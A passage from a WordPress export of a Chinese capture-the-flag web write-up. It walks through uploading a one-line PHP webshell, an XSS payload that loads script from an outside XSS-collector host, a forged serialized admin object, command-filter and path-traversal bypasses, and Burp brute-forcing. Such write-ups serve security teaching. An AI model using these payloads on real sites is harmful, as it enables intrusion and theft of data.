}\/\/\u68c0\u67e5 $sandBox \u76ee\u5f55\u662f\u5426\u5b58\u5728\uff0c\u5982\u679c\u4e0d\u5b58\u5728\u5219\u521b\u5efa\u5b83\uff0c\u6743\u9650\u8bbe\u7f6e\u4e3a 0755\uff0c\u5141\u8bb8\u6587\u4ef6\u5939\u6240\u6709\u8005\u8bfb\u3001\u5199\u3001\u6267\u884c\uff0c\u5176\u4ed6\u7528\u6237\u53ef\u4ee5\u8bfb\u548c\u6267\u884c\u3002
if($_FILES){
    move_uploaded_file($_FILES['file']['tmp_name'],$sandBox.\"\/\".$_FILES[\"file\"][\"name\"]);
    echo \"\u4e0a\u4f20\u6587\u4ef6\u540d: \" . $_FILES[\"file\"][\"name\"] . \"<br>\";
    echo \"\u6587\u4ef6\u7c7b\u578b: \" . $_FILES[\"file\"][\"type\"] . \"<br>\";
    echo \"\u6587\u4ef6\u5927\u5c0f: \" . ($_FILES[\"file\"][\"size\"] \/ 1024) . \" kB<br>\";
    echo $sandBox;
}\/\/\u5982\u679c\u6709\u6587\u4ef6\u4e0a\u4f20\uff0c\u5b83\u4f1a\u5c06\u6587\u4ef6\u4ece\u4e34\u65f6\u4f4d\u7f6e\u79fb\u52a8\u5230\u6307\u5b9a\u7684 $sandBox \u76ee\u5f55\u4e2d\uff0c\u5e76\u663e\u793a\u6587\u4ef6\u540d\u3001\u6587\u4ef6\u7c7b\u578b\u548c\u6587\u4ef6\u5927\u5c0f\u3002$_FILES \u662f\u4e00\u4e2a\u5168\u5c40\u6570\u7ec4\uff0c\u7528\u4e8e\u63a5\u6536\u4e0a\u4f20\u7684\u6587\u4ef6\u4fe1\u606f\u3002
\u200b
highlight_file(__FILE__); <\/pre>\n\n\n\n
\u5229\u7528python\u811a\u672c\u4e0a\u4f20\u4e00\u4e2a\u4e00\u53e5\u8bdd\u6728\u9a6c<\/p>\n\n\n\n
\"image-20250105215714253\"\/<\/div><\/figure>\n\n\n\n
\u663e\u793a\u6210\u529f\u540e\uff0c\u5229\u7528\u8681\u5251\u8fde\u63a5\uff0c\u8def\u5f84\u4e3a\u4ed6\u8fd4\u56de\u7684\u5185\u5bb9\u52a0\u6587\u4ef6\u540d\uff0curl\/281aa7ab3919fdc0f9cf542072fcf030\/123.php<\/p>\n\n\n\n
\"image-20250105215830070\"\/<\/div><\/figure>\n\n\n\n
\u4f7f\u7528\u8681\u5251\u8fde\u63a5<\/p>\n\n\n\n
\"image-20250105215901070\"\/<\/div><\/figure>\n\n\n\n
\u5229\u7528\u7ec8\u7aef\u67e5\u627eflag<\/p>\n\n\n\n
\"image-20250105220143205\"\/<\/div><\/figure>\n\n\n\n
\u8986\u76d6<\/h2>\n\n\n\n
\"image-20250103145634925\"\/<\/div><\/figure>\n\n\n\n
\u548c\u5e72\u6b63\u5219\u4e00\u6837\uff0c\u751a\u81f3\u6ca1\u6709\u6b63\u5219\u5339\u914d\u8fc7\u6ee4\uff0c\u7528\u4e00\u6837\u7684playload<\/p>\n\n\n\n
PHP\u53cd\u5e8f\u5217\u5316\u521d\u8bd5<\/h2>\n\n\n\n
\"image-20241231164014194\"\/<\/div><\/figure>\n\n\n\n
\u6784\u9020poc<\/p>\n\n\n\n
\"image-20241231165039913\"\/<\/div><\/figure>\n\n\n\n
\u4f20\u5165pop\u94fe\u83b7\u5f97flag<\/p>\n\n\n\n
\u673a\u5668\u4eba<\/h2>\n\n\n\n
\"image-20241230181934364\"\/<\/div><\/figure>\n\n\n\n
\u8bbf\u95eerobots.txt\uff0c\u76f4\u63a5\u83b7\u5f97\u4e86flag\u7684\u4e00\u90e8\u5206\uff0cflag{4749ea1ea481a5d<\/p>\n\n\n\n
\"image-20241230182012084\"\/<\/div><\/figure>\n\n\n\n
\u8bbf\u95ee\/27f5e15b6af3223f1176293cd015771d\uff0c\u4f46\u8bbf\u95ee\u4e0d\u4e86<\/p>\n\n\n\n
\u5c1d\u8bd5\u89e3\u5bc6\u540e\u9762\/\u540e\u9762\u7684\u5185\u5bb9\uff0c\u4f46\u53d1\u73b0\u8fd8\u662f\u4ec0\u4e48\u90fd\u6ca1\u6709<\/p>\n\n\n\n
\u6700\u540e\u8bbf\u95ee\/27f5e15b6af3223f1176293cd015771d\/flag.php\u83b7\u5f97\u6700\u540e\u4e00\u90e8\u5206flag\uff0c56685442c8516b61c}<\/p>\n\n\n\n
\"image-20241230182920177\"\/<\/div><\/figure>\n\n\n\n
\u626b\u626b\u770b<\/h2>\n\n\n\n
\"image-20241230213327141\"\/<\/div><\/figure>\n\n\n\n
\u63d0\u793a\u626b\u626b\u770b\uff0c\u4f7f\u7528dirsearch\u626b\u63cf\uff0c\u53d1\u73b0\u6709flag.php\u6587\u4ef6\uff0c\u8bbf\u95ee\u540e\u67e5\u770b\u6e90\u7801\u83b7\u5f97flag<\/p>\n\n\n\n
debudao<\/h2>\n\n\n\n
\"image-20250103145819820\"\/<\/div><\/figure>\n\n\n\n
\u51fa\u6765\u662f\u4e00\u4e2a\u4f20\u4e1c\u897f\u7684\u6846\uff0c\u4f20\u4ec0\u4e48\u663e\u793a\u4ec0\u4e48<\/p>\n\n\n\n
\u8bd5\u4e00\u4e0b\u4f20{{7*7}}\u7ed3\u679c\u4e0d\u662f49\uff0c\u4e0d\u5b58\u5728ssrf\uff0c\u4f20<script>alert(1)<\/script>\uff0c\u51fa\u73b0\u4e86\u5f39\u7a97\uff0c\u5b58\u5728xss<\/p>\n\n\n\n
\"image-20250103150036952\"\/<\/div><\/figure>\n\n\n\n
\u4f20\u5165\u6076\u610f\u4ee3\u7801<sCRiPt sRC=\/\/xs.pe\/5gJ><\/sCrIpT>\uff0c\u4f7f\u7528xss\u5e73\u53f0\u76d1\u542c\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20250103150302986\"\/<\/div><\/figure>\n\n\n\n
\u5ba1\u8ba1<\/h2>\n\n\n\n
\"image-20241231171206662\"\/<\/div><\/figure>\n\n\n\n
xxs\u7684\u503cmd5\u540e\u5fc5\u987b\u4e3a0e\u540e\u9762\u52a0\u6570\u5b57\uff0c\u4e14xxs\u5fc5\u987b\u4e3a\u6570\u5b57\uff0c\u4e0d\u80fd\u7528\u6570\u7ec4\u7ed5\u8fc7<\/p>\n\n\n\n
\u76f4\u63a5\u4f20xxs=0e215962017\uff08md5\u540e\u7684\u503c\u7b49\u4e8e\u81ea\u8eab\uff09<\/p>\n\n\n\n
upload1<\/h2>\n\n\n\n
\u63d0\u793a\u4e0a\u4f20\u4e00\u4e2a\u56fe\u7247\uff0c\u5e94\u8be5\u4e0d\u5141\u8bb8\u4e0a\u4f20php\u6587\u4ef6\uff0c\u53ea\u80fd\u4f20php\u6587\u4ef6<\/p>\n\n\n\n
\u4e0a\u4f20\u4e00\u4e2ajpg\u6587\u4ef6\uff0c\u6293\u5305\uff0c\u628a\u540e\u7f00\u6539\u4e3aphp\u540e\u653e\u5305\uff0c\u4f7f\u7528\u8681\u5251\u8fde\u63a5<\/p>\n\n\n\n
\"image-20250103153305342\"\/<\/div><\/figure>\n\n\n\n
\u6ca1\u627e\u5230flag\u6587\u4ef6\uff0c\u53f3\u952e\u6253\u5f00\u7ec8\u7aef\uff0c\u5728\u7ec8\u7aef\u91cc\u9762\u67e5\u627e\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20250103153403611\"\/<\/div><\/figure>\n\n\n\n
env\u51fa\u6765\u662f\u5047flag\uff0c\u4f7f\u7528cat\u67e5\u8be2\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20250103154004670\"\/<\/div><\/figure>\n\n\n\n
rapyiquan<\/h2>\n\n\n\n
\"image-20250103154057108\"\/<\/div><\/figure>\n\n\n\n
\u8fc7\u6ee4\u4e86\u53c2\u6570\u4e2d\u7684_,\u8fd8\u8fc7\u6ee4\u4e86\u53c2\u6570\u5185\u5bb9\u7684\u4e00\u5806\u4e1c\u897f<\/p>\n\n\n\n
\u53c2\u6570\u4e2d\u7684_\u7528.\u4ee3\u66ff\uff0c\u7528\\\u6765\u5206\u5272\u5185\u5bb9<\/p>\n\n\n\n
playload\uff1acm.d=l\\s<\/p>\n\n\n\n
\u53d1\u73b0\u6709\u4e2aflag.php\u6587\u4ef6\uff0c\u4f7f\u7528sort\u67e5\u8be2<\/p>\n\n\n\n
\"image-20250103155249850\"\/<\/div><\/figure>\n\n\n\n
bllbl_ser1<\/h2>\n\n\n\n
\"image-20250103155356265\"\/<\/div><\/figure>\n\n\n\n
\u4e00\u9053\u53cd\u5e8f\u5217\u5316\u7684\u9898<\/p>\n\n\n\n
\u6784\u9020poc<\/p>\n\n\n\n
\"image-20250103160059534\"\/<\/div><\/figure>\n\n\n\n
\u53d1\u73b0flag\u6587\u4ef6\uff0c\u4f7f\u7528cat\u67e5\u8be2\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20250103160404202\"\/<\/div><\/figure>\n\n\n\n
1ncIud3<\/h2>\n\n\n\n
\"image-20250103164947552\"\/<\/div><\/figure>\n\n\n\n
\u5e94\u8be5\u662f\u7528page\u53c2\u6570\u8bfb\u6587\u4ef6\uff0c\u8bd5\u8bd5flag\u3002php\u548cflag<\/p>\n\n\n\n
\u5728\u8bfbflag\u65f6\u51fa\u73b0\u63d0\u793a<\/p>\n\n\n\n
\"image-20250103165144295\"\/<\/div><\/figure>\n\n\n\n
flag\u53ef\u80fd\u4e3a\u5176\u4ed6\u7ec4\u5408\uff0cfl0g\u7b49\uff0c\u8fd8\u8fc7\u6ee4\u4e86\u4e00\u4e9b\u4e1c\u897f\uff0c\u5e94\u8be5\u8fd8\u8981\u8003\u8651\u5728\u54ea\u4e2a\u76ee\u5f55\u4e0b<\/p>\n\n\n\n
\u6d4b\u8bd5\u53d1\u73b0\u8fc7\u6ee4\u4e86..\/\uff0c\u53cc\u5199\u7ed5\u8fc7<\/p>\n\n\n\n
\u4f7f\u7528burp\u7206\u7834<\/p>\n\n\n\n
\"image-20250103170427535\"\/<\/div><\/figure>\n\n\n\n
\"image-20250103170418930\"\/<\/div><\/figure>\n\n\n\n
\u627e\u5230\u957f\u5ea6\u5f02\u5e38\u7684\u4e00\u7ec4\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20250103170406081\"\/<\/div><\/figure>\n\n\n\n
\u6295\u5582<\/h2>\n\n\n\n
\"image-20250103160530960\"\/<\/div><\/figure>\n\n\n\n
post\u4e00\u4e2a\u540d\u4e3adata\u7684\u53c2\u6570\uff0c\u5e8f\u5217\u5316\u4e00\u4e2auser\u5bf9\u8c61\uff0c\u5c1d\u8bd5\u5e8f\u5217\u5316\u4e00\u4e2a\u5305\u542b\u7528\u6237\u540d\u548cis_admin\u5c5e\u6027\u7684User\u5bf9\u8c61\uff0c\u4f7fis_admin=true<\/p>\n\n\n\n
\u6784\u9020\u4e00\u4e2apop\u94fe\uff0c\u5bf9\u8c61\u4e3auser\uff0c\u5c5e\u6027is_admin\u5176\u503c\u4e3atrue<\/p>\n\n\n\n
data=O:4:”user”:1:{s:8:”is_admin”;s:4:”true”;}<\/p>\n\n\n\n
post\u63d0\u4ea4\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20250103161240688\"\/<\/div><\/figure>\n\n\n\n
\u9ed1\u72d7\u5b50\u7684RCE<\/h2>\n\n\n\n
\"image-20250103161405241\"\/<\/div><\/figure>\n\n\n\n
\u4e00\u4e2aget\u63d0\u4ea4\u7684\u53c2\u6570gouheizi1\uff0c\u5176\u8fc7\u6ee4\u4e86\u4e00\u5806\u4e1c\u897f\uff0c\u907f\u514d\u5176\u8fdb\u884c\u547d\u4ee4\u6267\u884c<\/p>\n\n\n\n
\u4e00\u4e2apost\u63d0\u4ea4\u7684\u53c2\u6570gouheizi2\uff0c\u5176\u8fc7\u6ee4\u4e86gouheizi\uff0c\u4f46\u5982\u679c\u5176\u5185\u5bb9\u7b49\u4e8egouheizi\uff0cgouheizi1\u7684\u5185\u5bb9\u5c31\u53ef\u4ee5\u88absystem\u51fd\u6570\u6267\u884c<\/p>\n\n\n\n
str_replace\u7528\u53cc\u5199\u7ed5\u8fc7\uff0cpreg_match\u7528\\\u62fc\u63a5<\/p>\n\n\n\n
\"image-20250103162305938\"\/<\/div><\/figure>\n\n\n\n
sort\u67e5\u8be2\u6587\u4ef6<\/p>\n\n\n\n
\"image-20250103162402615\"\/<\/div><\/figure>\n\n\n\n
button<\/h2>\n\n\n\n
\u6253\u5f00\u51fa\u73b0\u4e86\u4e00\u4e2a\u6309\u94ae\uff0c\u4e00\u89e6\u5230\u5c31\u4f1a\u8dd1\uff0c\u5e94\u8be5\u9700\u8981\u4fee\u6539js\uff0c\u4f46\u76f4\u63a5F12\uff0c\u6253\u4e0d\u5f00\u5f00\u53d1\u8005\u5de5\u5177\uff0c\u5728\u8fd9\u4e2a\u4f4d\u7f6e\u7684\u66f4\u591a\u5de5\u5177\u6253\u5f00web\u5f00\u53d1\u8005\u5de5\u5177<\/p>\n\n\n\n
\"image-20241230185129538\"\/<\/div><\/figure>\n\n\n\n
\"image-20241230185214714\"\/<\/div><\/figure>\n\n\n\n
\u53bb\u6389mouseover<\/p>\n\n\n\n
\"image-20241230190650353\"\/<\/div><\/figure>\n\n\n\n
\u70b9\u51fb\u6309\u94ae\uff0c\u53d1\u73b0\u53d8\u6210\u4e86\u8fd9\u6837<\/p>\n\n\n\n
\"image-20241230190704720\"\/<\/div><\/figure>\n\n\n\n
\u5728script.js\u53d1\u73b0\u5bf9\u70b9\u51fb\u6b21\u6570\u7684\u8981\u6c42<\/p>\n\n\n\n
\"image-20241230190808257\"\/<\/div><\/figure>\n\n\n\n
\u5728\u63a7\u5236\u53f0\u5c06clickCount\u6539\u4e3aclickCount =999999999999999999999999999999999999999999999999999999999999999999\uff0c\u70b9\u51fb\u8fd0\u884c\uff0c\u5728\u70b9\u51fb\u6309\u94ae\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241230192137591\"\/<\/div><\/figure>\n\n\n\n
\u4e95\u5b57\u68cb<\/h2>\n\n\n\n
\u6253\u5f00\u662f\u4e00\u4e2a\u4e95\u5b57\u68cb\u6e38\u620f<\/p>\n\n\n\n
\u67e5\u770bjs<\/p>\n\n\n\n
\"image-20241230193221487\"\/<\/div><\/figure>\n\n\n\n
\u5f53\u4e3adeclareWinner(“\u60a8\u8d62\u4e86\uff01”);\u65f6\uff0c\u4f1a\u5f39\u51faflag<\/p>\n\n\n\n
\u5728\u63a7\u5236\u53f0\u8f93\u5165declareWinner(“\u60a8\u8d62\u4e86\uff01”);\uff0c\u8fd0\u884c\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n
\"image-20241230193202818\"\/<\/div><\/figure>\n\n\n\n
\u7b80\u5355\u7684\u5bfc\u822a\u7ad9<\/h2>\n\n\n\n
\"image-20250103162614203\"\/<\/div><\/figure>\n\n\n\n
\u5728\u6ce8\u518c\u754c\u9762\u968f\u4fbf\u6ce8\u518c\u4e00\u4e2a\u4e1c\u897f\uff0c\u7136\u540e\u767b\u5f55\uff0c\u8df3\u8f6c\u5230\u4e86\u4e00\u4e2a\u65b0\u7684\u9875\u9762<\/p>\n\n\n\n
\"image-20250103162655980\"\/<\/div><\/figure>\n\n\n\n
\u4e00\u4e2amd5\u5f3a\u6bd4\u8f83\uff0c\u4f7f\u7528\u6570\u7ec4\u7ed5\u8fc7<\/p>\n\n\n\n
\u51fa\u73b0\u4e86\u4e00\u5806\u7528\u6237\u540d<\/p>\n\n\n\n
\"image-20250103162857288\"\/<\/div><\/figure>\n\n\n\n
\u4f46\u8fd8\u5dee\u5bc6\u7801\uff0c\u770b\u4e86\u7f51\u9875\u6e90\u7801\uff0c\u8fd8\u662f\u6ca1\u6709\uff0c\u6700\u540e\u5728\u4e00\u5f00\u59cb\u7684\u9875\u9762\u7684\u6e90\u7801\u91cc\u770b\u5230\u4e86Admin1234\uff01\uff0c\u5e94\u8be5\u5c31\u662f\u5bc6\u7801<\/p>\n\n\n\n
\"image-20250103163440580\"\/<\/div><\/figure>\n\n\n\n
\u4f7f\u7528burp\u7206\u7834<\/p>\n\n\n\n
\"image-20250103163811499\"\/<\/div><\/figure>\n\n\n\n
\"image-20250103163819061\"\/<\/div><\/figure>\n\n\n\n
\u6700\u7ec8\u53d1\u73b0\u7528\u6237\u4e3aP0la2adm1n\uff0c\u957f\u5ea6\u5f02\u5e38<\/p>\n\n\n\n
\"image-20250103163904710\"\/<\/div><\/figure>\n\n\n\n
\u5728\u7ba1\u7406\u5458\u9875\u9762\u767b\u5f55<\/p>\n\n\n\n
\u767b\u5f55\u540e\u8df3\u8f6c\u5230\u6587\u4ef6\u4e0a\u4f20\u9875\u9762\uff0c\u4e0a\u4f20\u4e00\u4e2a\u4e00\u53e5\u8bdd\u6728\u9a6c<\/p>\n\n\n\n
\"image-20250103164111919\"\/<\/div><\/figure>\n\n\n\n
\u4f7f\u7528\u8681\u5251\u8fde\u63a5\uff0c\u5e94\u8be5\u653e\u5728uploads\u76ee\u5f55\u4e0b<\/p>\n\n\n\n
\"image-20250103164258211\"\/<\/div><\/figure>\n\n\n\n
\u627e\u5230\u4e00\u4e2aflag\uff1f\uff1f\uff1f\u6587\u4ef6\uff0c\u6253\u5f00\u7ed9\u4e86\u4e00\u5806flag\uff0c\u5e94\u8be5\u662f\u5728flag\u8ba4\u8bc1\u9875\u9762\u7ee7\u7eed\u7206\u7834<\/p>\n\n\n\n
\"image-20250103164443125\"\/<\/div><\/figure>\n\n\n\n
\u6293\u5305\uff0c\u53d1\u5230\u7206\u7834\u6a21\u5757<\/p>\n\n\n\n
\"image-20250103164525246\"\/<\/div><\/figure>\n\n\n\n
\"image-20250103164608497\"\/<\/div><\/figure>\n\n\n\n
\u627e\u5230\u957f\u5ea6\u5f02\u5e38\u7684\u4e00\u7ec4\uff0cflag%7bT4PwCg1RrQNsO4EcrQmU%7d\uff0c\u5c31\u662f\u771f\u7684flag<\/p>\n\n\n\n
\"image-20250103164650394\"\/<\/div><\/figure>\n\n\n\n
<\/h2>\n","protected":false},"excerpt":{"rendered":"
swp \u6253\u5f00\u63d0\u793atrue.swp file? \u8bbf\u95ee\/.index.php.swp \u51fa\u73b0\u9875\u9762 \u9700\u8981\u7528POST\u63d0\u4ea4 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-50","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/50","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/comments?post=50"}],"version-history":[{"count":4,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/50\/revisions"}],"predecessor-version":[{"id":111,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/50\/revisions\/111"}],"wp:attachment":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/media?parent=50"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/categories?post=50"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/tags?post=50"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}